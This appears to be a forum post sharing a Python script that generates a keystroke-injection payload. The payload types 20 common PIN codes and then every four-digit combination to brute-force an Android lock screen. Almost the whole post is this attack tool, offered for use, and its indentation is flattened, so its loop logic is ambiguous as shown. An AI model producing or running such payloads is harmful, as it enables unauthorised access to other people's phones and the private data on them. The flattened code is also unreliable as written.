If anyone is having problems with the bash script, I have written something similar in Python. I mostly use the Raspberry Pi to do all my encoding. This script will inject 20 of the most common pin codes first, and then brute force afterwards.
#!/usr/bin/python
defaultList = ['1234', '1111', '0000', '1212', '7777', '1004', '2000', '4444', '2222', '6969', '9999', '3333', '5555', '6666', '1122', '1313', '8888', '4321', '2001', '1010'];
def main():
fileOpen = open("android_payload.txt", "w+")
fileOpen.write("DELAY 5000\n")
for x in defaultList:
fileOpen.write("STRING %s\n" % x);
fileOpen.write("ENTER\nDELAY 500\n")
for w in range(0,10):
for z in range(0,10):
for y in range(0,10):
for x in range(0,10):
fileOpen.write("STRING %d%d%d%d\n" % (w,z,y,x))
if (x % 2) == 0:
fileOpen.write("ENTER\n")
fileOpen.write("ENTER\nDELAY 500\n")
fileOpen.close()
main()